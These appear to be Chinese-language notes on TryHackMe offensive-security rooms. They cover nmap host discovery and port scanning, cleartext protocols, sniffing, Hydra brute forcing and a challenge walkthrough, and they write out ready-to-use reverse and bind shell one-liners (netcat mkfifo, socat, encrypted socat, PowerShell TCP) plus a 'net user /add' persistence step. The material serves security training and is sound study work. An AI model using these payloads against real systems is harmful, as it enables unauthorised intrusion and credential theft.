将至少显示上面屏幕截图中显示的记录。通过这个 Shodan.io 搜索结果,我们可以了解与我们的搜索相关的几件事,例如:
- IP地址
- 托管公司
- 地理位置
- 服务器类型和版本
主动侦察
Task1 浏览器
可以利用web开发者工具或者Wappalyzer插件去信息搜集
Task2 ping
确保目标系统在线
一般来说,当我们没有收到 ping 回复时,有一些解释可以解释为什么我们没有收到 ping 回复,例如:
- 目标计算机没有响应;可能仍在启动或关闭,或者操作系统已崩溃。
- 它已从网络中拔下,或者路径上有故障的网络设备。
- 防火墙配置为阻止此类数据包。防火墙可能是在系统本身上运行的软件,也可能是单独的网络设备。请注意,MS Windows 防火墙默认阻止 ping。
- 您的系统已从网络中拔下。
Task3 路由跟踪
顾名思义,traceroute 命令跟踪数据包从系统到另一台主机的路由。traceroute 的目的是查找数据包在从系统传输到目标主机时经过的路由器或跃点的 IP 地址。此命令还显示两个系统之间的路由器数量。它非常有用,因为它指示系统和目标主机之间的跃点(路由器)数。但是,请注意,数据包采用的路由可能会发生变化,因为许多路由器使用适应网络变化的动态路由协议。
尝试发现从系统到目标系统的路径上的路由器
1 | traceroute 10.10.10.1 |
Task4 telnet
使用 telnet 10.10.110.51 PORT
,您可以连接到在 TCP 上运行的任何服务,甚至可以交换一些消息,除非它使用加密。我们可以添加上一些内容获得有效的响应,添加好后按两下回车即可
1 | GET / HTTP/1.1 |
nmap探测存活主机
Task1 子网
在继续执行主要任务之前,让我们回顾一下几个术语。网段是使用共享介质连接的一组计算机。例如,介质可以是以太网交换机或 WiFi 接入点。在 IP 网络中,子网通常相当于一个或多个网络连接在一起并配置为使用同一路由器的网段。网段是指物理连接,而子网是指逻辑连接。
在下面的网络图中,我们有四个网段或子网。一般来说,您的系统将连接到这些网段/子网之一。子网(或简称子网)具有自己的 IP 地址范围,并通过路由器连接到更广泛的网络。根据每个网络,可能存在强制实施安全策略的防火墙。
上图显示了两种类型的子网:
- 带有
/16
的子网,这意味着子网掩码可以写入255.255.0.0。
此子网可以有大约 65,000 台主机。 - 子网替换为
/24
,这表示子网掩码可以表示为255.255.255.0
。此子网可以有大约 250 个主机。
Task2 枚举目标
如果您想检查 Nmap 将扫描的主机列表,您可以使用-sL
参数。此选项将为您提供 Nmap 将扫描而不扫描的主机的详细列表
Task3 使用 ARP 的 Nmap 主机发现
如果要使用 Nmap 来发现在线主机,而不对实时系统进行端口扫描,可以使用-sn
参数
1 | nmap -PR -sn 10.10.210.6/24 |
注:其中 -PR
表示只需要 ARP 扫描
Task4 使用 ICMP 的 Nmap 主机发现
要使用 ICMP 回显请求来发现活动主机,使用参数-PE
(如果不在后面进行端口扫描,添加-sn
)
1 | nmap -PE -sn 10.10.68.220/24 |
使用 ICMP 地址掩码查询发现活动主机
1 | nmap -PM -sn 10.10.68.220/24 |
使用 ICMP 时间戳发现活动主机
1 | nmap -PP -sn 10.10.68.220/24 |
Task5 使用 TCP 和 UDP 的 Nmap 主机发现
TCP
1 | nmap -PS -sn 10.10.68.220/24 |
参数:-PS/PA TCP SYN/ACK
UDP
1 | nmap -PU -sn 10.10.68.220/24 |
nmap端口扫描
Task1 TCP和UDP端口
与 IP 地址指定网络上的主机以及其他主机一样,TCP 端口或 UDP 端口也用于标识该主机上运行的网络服务。服务器提供网络服务,并且遵循特定的网络协议。示例包括提供时间、响应 DNS 查询以及提供网页。端口通常使用该特定端口号链接到服务。例如, HTTP服务器默认绑定到 TCP 端口 80;此外,如果HTTP服务器支持 SSL/TLS,它将侦听 TCP 端口 443。(TCP 端口 80 和 443 是HTTP和 HTTPS 的默认端口;但是,网络服务器管理员可以根据需要选择其他端口号。)此外,最多只有一个服务可以侦听任何 TCP 或UDP端口(同一 IP 地址)。
冒着过于简单化的风险,我们可以将端口分为两种状态:
- 打开端口表示有某个服务正在侦听该端口。
- 关闭端口表示该端口没有服务监听。
但在实际情况中,我们需要考虑防火墙的影响。例如,端口可能是开放的,但防火墙可能会阻止数据包。因此, Nmap考虑以下六种状态:
- Open :表示有服务正在监听指定端口。
- Closed :表示没有服务正在侦听指定端口,尽管该端口是可访问的。可访问是指它是可访问的并且不会被防火墙或其他安全设备/程序阻止。
- Filtered :表示Nmap无法确定端口是打开还是关闭,因为该端口不可访问。这种状态通常是由于防火墙阻止Nmap到达该端口造成的。 Nmap的数据包可能被阻止到达端口;或者,响应被阻止到达Nmap的主机。
- Unfiltered :表示尽管端口可以访问,但Nmap无法确定端口是打开还是关闭。使用 ACK 扫描
-sA
时会遇到此状态。 - Open|Filtered :这意味着Nmap无法确定端口是开放的还是已过滤的。
- Closed|Filtered :这意味着Nmap无法决定端口是关闭还是过滤。
Task2 TCP连接扫描
1 | nmap -sT 10.10.10.2 |
注:使用-F
启用快速模式并将扫描端口的数量从 1000 个最常见端口减少到 100 个。
使用-r
选项以连续顺序而不是随机顺序扫描端口。
TCP SYN
TCP SYN 扫描是以特权用户身份运行 Nmap、以 root 身份运行或使用 sudo 运行 Nmap 时的默认扫描模式,它是一个非常可靠的选择。它已成功发现您之前通过TCP连接扫描找到的开放端口,但尚未与目标完全建立TCP连接。
1 | nmap -sS 10.10.10.2 |
Task3 UDP连接扫描
1 | nmap -sU 10.10.10.2 |
Task4 调整范围和性能
扫描端口范围
您可以指定要扫描的端口,而不是默认的 1000 个端口。比如下面这样
- 端口列表:
-p22,80,443
将扫描端口 22、80 和 443。 - 端口范围:
-p1-1023
将扫描 1 到 1023(含)之间的所有端口,而-p20-25
将扫描 20 到 25(含)之间的端口。
可以使用-p-
请求扫描所有端口,这将扫描所有 65535 端口。如果要扫描最常见的 100 个端口,请添加-F
。使用--top-ports 10
将检查十个最常见的端口。
扫描速度
您可以使用-T<0-5>
控制扫描时序。 -T0
是最慢的(偏执),而-T5
是最快的。
为了避免IDS警报,您可以考虑-T0
或-T1
。例如, -T0
一次扫描一个端口,并在发送每个探测之间等待 5 分钟,因此您可以猜测扫描一个目标需要多长时间才能完成。如果您不指定任何时间, Nmap将使用正常的-T3
。请注意, -T5
就速度而言是最具侵略性的;但是,由于丢包的可能性增加,这可能会影响扫描结果的准确性。请注意, -T4
通常在 CTF 期间和学习扫描练习目标时使用,而-T1
通常在隐秘性更重要的真实交战中使用。
或者,您可以选择使用--min-rate <number>
和--max-rate <number>
控制数据包速率。例如, --max-rate 10
或--max-rate=10
可确保您的扫描仪每秒发送的数据包不超过 10 个。
Nmap 后端口扫描
Task1 服务检测
1 | nmap -sV MACHINE_IP |
Task2 保存输出
使用普通模式保存
1 | sudo nmap -sS -sV -O -oN 1_scan 10.10.10.2 |
协议和服务1
Task1 telnet远程登录
Telnet 服务使用 Telnet 协议监听端口 23 上的传入连接。尽管 Telnet 使我们能够立即访问远程系统的终端,但它并不是一个可靠的远程管理协议,因为所有数据都以明文形式发送。下图中,我们捕获了Telnet产生的流量,很容易找到密码。下图显示了我们的计算机和远程系统之间交换的 ASCII 数据。
Telnet 不再被视为安全选项,尤其是任何捕获您的网络流量的人都将能够发现您的用户名和密码,这将授予他们访问远程系统的权限。安全的替代方案是SSH
Task2 HTTP
HTTP以明文形式发送和接收数据(未加密);因此,您可以使用简单的工具,例如 Telnet(或 Netcat),与 Web 服务器通信并充当“Web 浏览器”。主要区别在于您需要输入HTTP相关命令,而不是 Web 浏览器为您执行此操作。
Task3 FTP 文件传输协议
文件传输协议( FTP )的开发是为了使不同系统的不同计算机之间的文件传输更加高效。FTP还以明文形式发送和接收数据;因此,我们可以使用Telnet(或Netcat)与FTP服务器通信并充当FTP客户端。默认监听端口为21。
利用给的用户名和密码进行ftp登录,get命令下载flag到本机
- Username: frank
- Password: D2xc9CgD
Task4 SMTP 简单邮件传输协议
简单邮件传输协议 (SMTP) 用于与MTA服务器进行通信。由于 SMTP 使用明文,所有命令均在不加密的情况下发送,因此我们可以使用基本的 Telnet 客户端连接到 SMTP 服务器并充当发送消息的电子邮件客户端 ( MUA )。SMTP服务器默认监听端口 25。
Task5 POP3 邮局协议3
POP3默认端口 110
用户通过提供用户名USER frank
和密码PASS D2xc9CgD
进行身份验证。使用命令STAT
,我们得到回复+OK 1 179
;根据RFC 1939 ,对STAT
肯定响应格式为+OK nn mm
,其中nn是收件箱中的电子邮件数量, mm是收件箱的大小(以八位位组(字节)为单位)。命令LIST
提供服务器上的新消息列表, RETR 1
检索列表中的第一条消息。我们不需要费力去记住这些命令;不过,这有助于加强我们对此类协议的理解。
1 | root@ip-10-10-7-230:~# telnet 10.10.202.102 110 |
Task6 IMAP 互联网消息访问协议
Internet 消息访问协议 (IMAP) 比 POP3 更复杂。 IMAP 可以让您的电子邮件在多个设备(和邮件客户端)之间保持同步。换句话说,如果您在智能手机上检查电子邮件时将电子邮件标记为已读,则更改将保存在 IMAP 服务器 ( MDA ) 上,并在同步收件箱时复制到您的笔记本电脑上。默认端口为143
很明显, IMAP以明文形式发送登录凭据,正如我们在命令LOGIN frank D2xc9CgD
中看到的那样。任何观察网络流量的人都能够知道弗兰克的用户名和密码。
Task7 总结
协议 | TCP端口 | 申请 | 数据安全 |
---|---|---|---|
FTP | 21 | 文件传输 | 明文 |
HTTP | 80 | 全球资讯网 | 明文 |
IMAP | 143 | 电子邮件 ( MDA ) | 明文 |
POP3 | 110 | 电子邮件 ( MDA ) | 明文 |
SMTP | 25 | 电子邮件 ( MTA ) | 明文 |
远程登录 | 23 | 远程访问 | 明文 |
协议和服务2
Task1 嗅探攻击
嗅探攻击是指利用网络抓包工具来收集目标的信息。当协议以明文方式通信时,第三方可以捕获交换的数据进行分析。如果数据在传输过程中未加密,则简单的网络数据包捕获可能会泄露信息,例如私人消息的内容和登录凭据。
只要用户具有适当的权限( Linux上的 root 权限和 MS Windows 上的管理员权限),就可以使用以太网 (802.3) 网卡进行嗅探攻击。有许多程序可用于捕获网络数据包。我们考虑以下几点:
- Tcpdump是一个免费的开源命令行界面 ( CLI ) 程序,已被移植到许多操作系统上。
- Wireshark是一款免费的开源图形用户界面 (GUI) 程序,适用于多种操作系统,包括Linux 、macOS 和 MS Windows。
- Tshark是 Wireshark 的CLI替代品。
数据包捕获需要sudo权限
1 | sudo tcpdump port 110 -A |
注:-A
作用是以 ASCII 格式显示捕获的数据包的内容
Task2 中间人 (MITM) 攻击
当受害者 (A) 认为自己正在与合法目的地 (B) 通信,但在不知不觉中与攻击者 (E) 通信时,就会发生中间人 ( MITM ) 攻击。下图中,我们有A请求向M转账20美元;然而,E 更改了该消息并用新值替换了原始值。 B 收到修改后的消息并对其采取行动。
MITM还会影响其他明文协议,例如 FTP、SMTP 和 POP3。缓解这种攻击需要使用密码学。解决方案在于正确的身份验证以及交换消息的加密或签名。借助公钥基础设施 (PKI) 和受信任的根证书,传输层安全 (TLS) 可以防止MITM攻击。
可以用来进行中间人攻击的工具,例如Ettercap和Bettercap
Task3 传输层安全 (TLS)
可以防止密码嗅探和MITM攻击,现有的明文协议可以升级为使用 SSL/TLS 加密。我们可以使用 TLS 来升级HTTP 、 FTP 、 SMTP 、 POP3 和IMAP等。下表列出了我们涵盖的协议及其通过 SSL/TLS 加密升级前后的默认端口。
Protocol 协议 | Default Port 默认端口 | Secured Protocol 安全协议 | Default Port with TLS 带 TLS 的默认端口 |
---|---|---|---|
HTTP | 80 | HTTPS | 443 |
FTP | 21 | FTPS | 990 |
SMTP | 25 | SMTPS | 465 |
POP3 | 110 | POP3S | 995 |
IMAP | 143 | IMAPS | 993 |
为了使 SSL/TLS 有效,尤其是通过 HTTPS 浏览网页时,我们依赖于我们系统信任的证书颁发机构签署的公共证书。换句话说,当我们通过 HTTPS 浏览TryHackMe时,我们的浏览器期望 TryHackMe Web 服务器提供来自受信任证书颁发机构的签名证书,如下例所示。这样,我们的浏览器就可以确保它与正确的服务器进行通信,并且不会发生MITM攻击。
Task4 安全外壳 (SSH)
我们可以使用SSH来传输文件,在SSH协议的基础上使用SCP(Secure Copy Protocol),示例如下
1 | scp mark@10.10.224.115:/home/mark/book.txt ~ |
该命令将从位于/home/mark
目录的远程系统中名为book.txt
的文件复制到~
,即当前登录用户的主目录的根目录。
也可以将本地文件复制到ssh连接的远程系统上
1 | scp backup.tar.bz2 mark@10.10.224.115:/home/mark/ |
此命令会将文件backup.tar.bz2
从本地系统复制到远程系统上的目录/home/mark/
Task5 密码攻击
Hydra 支持许多协议,包括 FTP、POP3、IMAP、SMTP、SSH 以及所有与HTTP相关的方法。
1 | hydra -l username -P wordlist.txt server service |
-l username
:-l
应位于username
之前,即目标的登录名。-P wordlist.txt
:-P 位于wordlist.txt
文件之前,-P
文件是一个文本文件,其中包含您要使用提供的用户名尝试的密码列表。server
是目标服务器的主机名或 IP 地址。service
表示您尝试发起字典攻击的服务。-s PORT
为相关服务指定非默认端口。-V
或-vV
表示详细信息,使Hydra显示正在尝试的用户名和密码组合。这种冗长的内容非常方便查看进度,特别是如果您对自己的命令行语法仍然没有信心的话。-tn
其中 n 是目标的并行连接数。-t 16
将创建 16 个线程用于连接到目标。-d
,用于调试,以获得有关正在发生的情况的更多详细信息。调试输出可以让你省去很多挫败感;例如,如果Hydra尝试连接到一个关闭的端口并超时,-d
将立即显示这一点。
假设得到某个电子邮件帐户是lazie
,尝试得到用于访问 10.10.224.115 上的 IMAP 服务的密码
1 | hydra -l lazie -P /usr/share/wordlists/rockyou.txt 10.10.224.115 imap |
网络安全挑战
Task1
1 | nmap 10.10.58.189 |
扫出来小于10000的最大开放端口为8080
Task2
1 | nmap -p1-20000 -v 10.10.58.189 |
得到大于10000端口的10021
Task3
1 | nmap 10.10.58.189 -sT -v -p1-20000 |
打开了6个 TCP 端口
Task4
使用telnet连接靶机的80端口,然后传入以下内容按两下enter发送
1 | GET / HTTP/1.1 |
拿到flag
Task5
连接ssh的默认端口22
Task6
刚刚扫描有个未知服务的端口10021,连接得到FTP版本信息
Task7
由于不是默认端口,使用-s
参数指定端口
1 | hydra -l eddie -P /usr/share/wordlists/rockyou.txt 10.10.58.189 ftp -s 10021 |
得到用户名和密码,不过ftp服务器连上去拿不到flag。爆破另外一个用户名密码
1 | hydra -l quinn -P /usr/share/wordlists/rockyou.txt 10.10.58.189 ftp -s 10021 |
连接ftp,下载拿到flag
1 | ftp 10.10.58.189 10021 |
权限提升
什么是shell
Task1 shell类型
在高层次上,我们对利用目标的两种 shell 感兴趣:反向 shell 和绑定 shell。
- 反向 shell是指目标被迫执行连接回您的计算机的代码。在您自己的计算机上,您将使用上一个任务中提到的工具之一来设置用于接收连接的侦听器。反向 shell 是绕过防火墙规则的好方法,这些规则可能会阻止您连接到目标上的任意端口;但是,缺点是,当通过互联网从计算机接收 shell 时,您需要配置自己的网络以接受 shell。然而,由于我们连接网络的方法,这在 TryHackMe 网络上不会成为问题。
- 绑定 shell是指在目标上执行的代码用于启动附加到直接在目标上的 shell 的侦听器。然后,这将向互联网开放,这意味着您可以连接到代码已打开的端口并以这种方式获得远程代码执行。这样做的优点是不需要在您自己的网络上进行任何配置,但可能会被保护目标的防火墙阻止。
Task2 netcat
如前所述,当涉及任何类型的网络时,Netcat 是渗透测试人员工具包中最基本的工具。有了它,我们可以做各种各样有趣的事情,但现在让我们关注 shell。
反向shell
在上一个任务中,我们看到反向 shell 需要 shellcode 和侦听器。执行 shell 的方法有很多种,因此我们将从查看侦听器开始。
使用Linux启动 netcat 侦听器的语法如下:
1 | nc -lvnp <port-number> |
- -l用于告诉 netcat 这将是一个侦听器
- -v用于请求详细输出
- -n告诉 netcat 不要解析主机名或使用DNS 。解释这一点超出了房间的范围。
- -p表示将遵循端口规范。
上一个任务中的示例使用端口 443。实际上,您可以使用您喜欢的任何端口,只要还没有服务使用它即可。请注意,如果您选择使用低于 1024 的端口,则在启动侦听器时需要使用sudo
。也就是说,使用众所周知的端口号(80、443 或 53 是不错的选择)通常是一个好主意,因为这更有可能通过目标上的出站防火墙规则。
一个可行的例子是:
1 | sudo nc -lvnp 443 |
然后,我们可以使用任意数量的有效负载连接回此,具体取决于目标上的环境。
上一个任务中显示了这样的示例。
绑定shell
如果我们希望在目标上获得绑定 shell,那么我们可以假设目标的选定端口上已经有一个侦听器在等待我们:我们需要做的就是连接到它。其语法相对简单:
1 | nc <target-ip> <chosen-port> |
在这里,我们使用 netcat 在我们选择的端口上建立到目标的出站连接。
我们将在任务 8 中了解如何使用 netcat 为此类 shell 创建侦听器。这里重要的是您了解如何使用 netcat 连接到侦听端口。
Task3 netcat 稳定shell
默认情况下,这些 shell 非常不稳定。按 Ctrl + C 会杀死整个事情。它们是非交互式的,并且经常出现奇怪的格式错误。这是因为 netcat“shell”实际上是在终端内运行的进程,而不是其本身的真正终端。幸运的是,有很多方法可以在 Linux 系统上稳定 netcat shell。我们将在这里关注三个。 Windows 反向 shell 的稳定往往要困难得多;然而,我们将在这里介绍的第二种技术对此特别有用。
方法一
我们将讨论的第一种技术仅适用于Linux机器,因为它们几乎总是默认安装 Python。这是一个三阶段过程:
- 首先要做的是使用
python -c 'import pty;pty.spawn("/bin/bash")'
,它使用 Python 生成功能更好的 bash shell;请注意,某些目标可能需要指定的 Python 版本。如果是这种情况,请根据需要将python
替换为python2
或python3
。此时,我们的 shell 看起来会更漂亮一些,但我们仍然无法使用 tab 自动完成或箭头键,并且 Ctrl + C 仍然会终止 shell。 - 第二步是:
export TERM=xterm
这将使我们能够访问术语命令,例如clear
。 - 最后(也是最重要的)我们将使用 Ctrl + Z 将 shell 置于后台。回到我们自己的终端,我们使用
stty raw -echo; fg
这做了两件事:首先,它关闭了我们自己的终端回显(这使我们能够访问选项卡自动完成、箭头键和 Ctrl + C 来终止进程)。然后它将 shell 置于前台,从而完成该过程。
请注意,如果 shell 死机,您自己的终端中的任何输入都将不可见(由于禁用了终端回显)。要解决此问题,请输入reset
并按 Enter 键。
方法二
rlwrap 是一个程序,简单来说,它让我们在收到 shell 后立即访问历史记录、制表符自动完成和箭头键;但是,如果您希望能够在 shell 内使用 Ctrl + C,则仍然必须使用一些手动稳定功能。 Kali 上默认没有安装 rlwrap,因此首先使用sudo apt install rlwrap
安装它。
要使用 rlwrap,我们调用一个略有不同的侦听器:
1 | rlwrap nc -lvnp <port> |
在我们的 netcat 监听器前面加上“rlwrap”给我们一个功能更齐全的 shell。这种技术在处理 Windows shell 时特别有用,否则众所周知,Windows shell 很难稳定。在处理 Linux 目标时,可以通过使用与先前技术的第三步中相同的技巧来完全稳定:使用 Ctrl + Z 将 shell 设置为后台,然后使用stty raw -echo; fg
稳定并重新进入 shell。
Task4 socat
Socat 在某些方面与 netcat 相似,但在许多其他方面有根本的不同。考虑 socat 的最简单方法是将其视为两点之间的连接器。为了这个房间的利益,这本质上是一个监听端口和键盘,但是,它也可以是一个监听端口和一个文件,或者实际上是两个监听端口。
反向贝壳
如前所述,socat 的语法比 netcat 的语法困难得多。以下是 socat 中基本反向 shell 侦听器的语法:
1 | socat TCP-L:<port> - |
与 socat 一样,这需要两个点(监听端口和标准输入)并将它们连接在一起。生成的 shell 不稳定,但这可以在Linux或 Windows 上运行,相当于nc -lvnp <port>
。
在 Windows 上,我们将使用此命令来连接回来:
1 | socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:powershell.exe,pipes |
“pipes”选项用于强制powershell(或cmd.exe)使用Unix风格的标准输入和输出。
这是Linux目标的等效命令:
1 | socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:"bash -li" |
绑定外壳
在Linux目标上,我们将使用以下命令:
1 | socat TCP-L:<PORT> EXEC:"bash -li" |
在 Windows 目标上,我们将使用以下命令作为侦听器:
1 | socat TCP-L:<PORT> EXEC:powershell.exe,pipes |
我们使用“pipes”参数在CLI环境中处理输入和输出的 Unix 和 Windows 方式之间建立接口。
无论目标是什么,我们都会在攻击机器上使用此命令来连接到等待的侦听器。
socat TCP:<TARGET-IP>:<TARGET-PORT> -
现在让我们看看 Socat 更强大的用途之一:完全稳定的Linux tty 反向 shell。这仅在目标是Linux时才有效,但明显更稳定。如前所述,socat 是一个非常通用的工具;然而,以下技术可能是其最有用的应用之一。这是新的侦听器语法:
1 | socat TCP-L:<port> FILE:`tty`,raw,echo=0 |
让我们将该命令分为两部分。像往常一样,我们将两个点连接在一起。在本例中,这些点是侦听端口和文件。具体来说,我们将当前 TTY 作为文件传递,并将回显设置为零。这大约相当于使用 Ctrl + Z, stty raw -echo; fg
使用 netcat shell 进行stty raw -echo; fg
技巧 —— 额外的好处是立即稳定并连接到完整的 tty。
第一个侦听器可以与任何有效负载连接;但是,必须使用非常特定的 socat 命令激活此特殊侦听器。这意味着目标必须安装 socat。大多数机器默认情况下没有安装 socat,但是,可以上传预编译的 socat 二进制文件,然后可以正常执行。
特殊命令如下:
1 | socat TCP:<attacker-ip>:<attacker-port> EXEC:"bash -li",pty,stderr,sigint,setsid,sane |
这是少数,所以让我们把它分解一下。
第一部分很简单——我们正在与在我们自己的机器上运行的侦听器连接。该命令的第二部分使用EXEC:"bash -li"
创建交互式 bash 会话。我们还传递参数:pty、stderr、sigint、setsid 和 sane:
- pty ,在目标上分配一个伪终端——稳定过程的一部分
- stderr ,确保任何错误消息都显示在 shell 中(通常是非交互式 shell 的问题)
- sigint ,将任何 Ctrl + C 命令传递到子进程中,允许我们终止 shell 内的命令
- setid ,在新会话中创建进程
- sane ,稳定终端,尝试使其“正常化”。
需要考虑的内容有很多,所以让我们看看它的实际效果。
与往常一样,左边我们有一个在本地攻击机器上运行的侦听器,右边我们有一个受感染目标的模拟,使用非交互式 shell 运行。使用非交互式 netcat shell,我们执行特殊的 socat 命令,并在左侧的 socat 侦听器上收到完全交互式的 bash shell:
请注意,socat shell 是完全交互式的,允许我们使用交互式命令,例如SSH 。然后可以通过设置 stty 值(如上一个任务中所示)来进一步改进,这将使我们可以使用 Vim 或 Nano 等文本编辑器。
Task5 socat 加密shell
socat 的众多优点之一是它能够创建加密的 shell——绑定和反向。我们为什么要这样做?除非您拥有解密密钥,否则加密的 shell 无法被监视,并且通常能够绕过IDS 。
我们在上一个任务中介绍了如何创建基本 shell,因此这里不再介绍语法。可以说,任何时候TCP
用作命令的一部分,在使用加密 shell 时都应该将其替换为OPENSSL
。我们将在任务结束时介绍一些示例,但首先让我们讨论一下证书。
我们首先需要生成一个证书才能使用加密的 shell。这在我们的攻击机器上最容易做到:
1 | openssl req --newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt |
此命令创建一个带有匹配证书文件的 2048 位 RSA 密钥,该密钥是自签名的,并且有效期不到一年。当您运行此命令时,它会要求您填写有关证书的信息。这可以留空,也可以随机填写。
然后我们需要将两个创建的文件合并为一个.pem
文件:
1 | cat shell.key shell.crt > shell.pem |
现在,当我们设置反向 shell 侦听器时,我们使用:
1 | socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 - |
这将使用我们生成的证书设置一个 OPENSSL 侦听器。 verify=0
告诉连接不必尝试验证我们的证书是否已由公认的机构正确签名。请注意,证书必须在正在侦听的任何设备上使用。
要连接回来,我们将使用:
1 | socat OPENSSL:<LOCAL-IP>:<LOCAL-PORT>,verify=0 EXEC:/bin/bash |
同样的技术也适用于绑定 shell:
目标:
1 | socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 EXEC:cmd.exe,pipes |
攻击者:
1 | socat OPENSSL:<TARGET-IP>:<TARGET-PORT>,verify=0 - |
再次注意,即使对于 Windows 目标,证书也必须与侦听器一起使用,因此需要复制 PEM 文件以用于绑定 shell。
Task6 常见shell payload
之前的任务提到我们将研究一些使用 netcat 作为 Bindshell 侦听器的方法,因此我们将从这里开始。在某些版本的 netcat 中(包括 Kali 附带的nc.exe
Windows 版本,位于 /usr/share/windows-resources/binaries
,以及 Kali 本身使用的版本: netcat-traditional
)有一个-e
选项,允许您在连接上执行进程。例如,作为听众:
1 | nc -lvnp <PORT> -e /bin/bash |
使用 netcat 连接到上述侦听器将导致目标上有一个绑定 shell。
同样,对于反向 shell,连接回 nc <LOCAL-IP> <PORT> -e /bin/bash
会导致目标受到反向炮弹攻击。
然而,大多数版本的 netcat 中均未包含此功能,因为人们普遍认为它非常不安全(这很有趣,不是吗?)。在几乎总是需要静态二进制文件的 Windows 上,这种技术将完美地发挥作用。然而,在Linux上,我们将使用以下代码为绑定 shell 创建侦听器:
1 | mkfifo /tmp/f; nc -lvnp <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f |
该命令首先在
/tmp/f
处创建一个命名管道。然后它启动一个 netcat 侦听器,并将侦听器的输入连接到命名管道的输出。然后,netcat 侦听器的输出(即我们发送的命令)直接通过管道传输到sh
中,将 stderr 输出流发送到 stdout 中,并将 stdout 本身发送到命名管道的输入中,从而完成循环。
可以使用非常相似的命令发送 netcat 反向 shell:
1 | mkfifo /tmp/f; nc <LOCAL-IP> <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f |
除了使用 netcat connect 语法(而不是 netcat Listen 语法)之外,此命令实际上与前一个命令相同。
当针对现代 Windows Server 时,需要 Powershell 反向 shell 是很常见的,因此我们将在这里介绍标准的单行 PSH 反向 shell。
该命令非常复杂,为了简单起见,这里不再直接解释。然而,这是一本非常有用的单行文字,值得随身携带:
1 | powershell -c "$client = New-Object System.Net.Sockets.TCPClient('**<ip>**',**<port>**);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()" |
为了使用它,我们需要用适当的 IP 和端口选择替换“
Task7 拿到shell下一步
我们已经介绍了许多生成、发送和接收 shell 的方法。这些的共同点是它们往往不稳定且非交互式。即使是更容易稳定的 Unix 风格的 shell 也不是理想的。那么,对此我们能做些什么呢?
理想情况下,在Linux上,我们会寻找机会访问用户帐户。存储在/home/<user>/.ssh
中的SSH密钥通常是实现此目的的理想方法。在 CTF 中,在盒子上的某个地方发现凭证的情况也并不少见。有些漏洞还允许您添加自己的帐户。特别是像Dirty C0w或可写的 /etc/shadow 或 /etc/passwd 这样的东西会很快让你通过SSH访问机器,假设SSH是开放的。
在 Windows 上选项通常更加有限。有时可以在注册表中找到正在运行的服务的密码。例如,VNC 服务器经常将密码以明文形式存储在注册表中。某些版本的 FileZilla FTP 服务器还会将凭据保留在XML文件中: C:\Program Files\FileZilla Server\FileZilla Server.xml
或者 C:\xampp\FileZilla Server\FileZilla Server.xml
。这些可以是MD5哈希值或纯文本形式,具体取决于版本。
理想情况下,在 Windows 上,您将获得以 SYSTEM 用户身份运行的 shell,或者以高权限运行的管理员帐户。在这种情况下,可以简单地将您自己的帐户(在管理员组中)添加到计算机,然后通过RDP 、 telnet 、 winexe 、 psexec 、 WinRM 或任意数量的其他方法登录,具体取决于机器上运行的服务。
其语法如下:
1 | net user <username> <password> /add |
Linux 权限提升
Task1 信息搜集
hostname
hostname
命令将返回目标计算机的主机名。尽管该值可以很容易地更改或具有相对无意义的字符串(例如 Ubuntu-3487340239),但在某些情况下,它可以提供有关目标系统在企业网络中的角色的信息(例如用于生产SQL服务器的SQL -PROD-01) 。
uname -a
将打印系统信息,为我们提供有关系统使用的内核的更多详细信息。这在搜索任何可能导致权限升级的潜在内核漏洞时非常有用。
/proc/version
proc 文件系统 (procfs) 提供有关目标系统进程的信息。您会在许多不同的Linux版本中找到 proc,这使其成为您的武器库中必不可少的工具。
Looking at /proc/version
看着 /proc/version
可能会为您提供有关内核版本的信息以及其他数据,例如是否安装了编译器(例如 GCC)。
/etc/issue
还可以通过查看/etc/issue
文件来识别系统。该文件通常包含一些有关操作系统的信息,但可以轻松自定义或更改。在这个主题上,任何包含系统信息的文件都可以定制或更改。为了更清楚地了解系统,最好查看所有这些内容。
ps
ps
命令是查看Linux系统上正在运行的进程的有效方法。在终端上输入ps
将显示当前 shell 的进程。
ps
(进程状态)的输出将显示以下内容;
- PID :进程ID(进程唯一)
- TTY:用户使用的终端类型
- 时间:进程使用的CPU时间量(这不是该进程运行的时间)
- CMD:正在运行的命令或可执行文件(不会显示任何命令行参数)
“ps”命令提供了一些有用的选项。
ps -A
:查看所有正在运行的进程ps axjf
:查看进程树(在下面运行ps axjf
之前查看树的形成)ps aux
:aux
选项将显示所有用户的进程 (a)、显示启动进程的用户 (u) 以及显示未连接到终端的进程 (x)。查看ps aux命令的输出,我们可以更好地了解系统和潜在的漏洞。
env
env
命令将显示环境变量。
PATH 变量可能具有编译器或脚本语言(例如Python),可用于在目标系统上运行代码或用于权限升级。
/etc/passwd
读取/etc/passwd
文件是发现系统上用户的简单方法。虽然输出可能很长并且有点令人生畏,但它可以轻松地被剪切并转换为用于暴力攻击的有用列表。
1 | cat /etc/passwd | cut -d ":" -f 1 |
请记住,这将返回所有用户,其中一些是不是很有用的系统或服务用户。另一种方法可能是 grep 查找“home”,因为真正的用户很可能将其文件夹放在“home”目录下。
1 | cat /etc/passwd | grep home |
ifconfig
目标系统可能是另一个网络的枢纽点。 ifconfig
命令将为我们提供有关系统网络接口的信息。下面的示例显示目标系统具有三个接口(eth0、tun0 和 tun1)。我们的攻击机器可以到达 eth0 接口,但无法直接访问其他两个网络。
可以使用ip route
命令查看存在哪些网络路由来确认这一点
netstat
在对现有接口和网络路由进行初步检查后,值得研究现有通信。 netstat
命令可以与多个不同的选项一起使用来收集有关现有连接的信息。
netstat -a
:显示所有监听端口和已建立的连接。netstat -at
或netstat -au
还可用于分别列出 TCP 或UDP协议。netstat -l
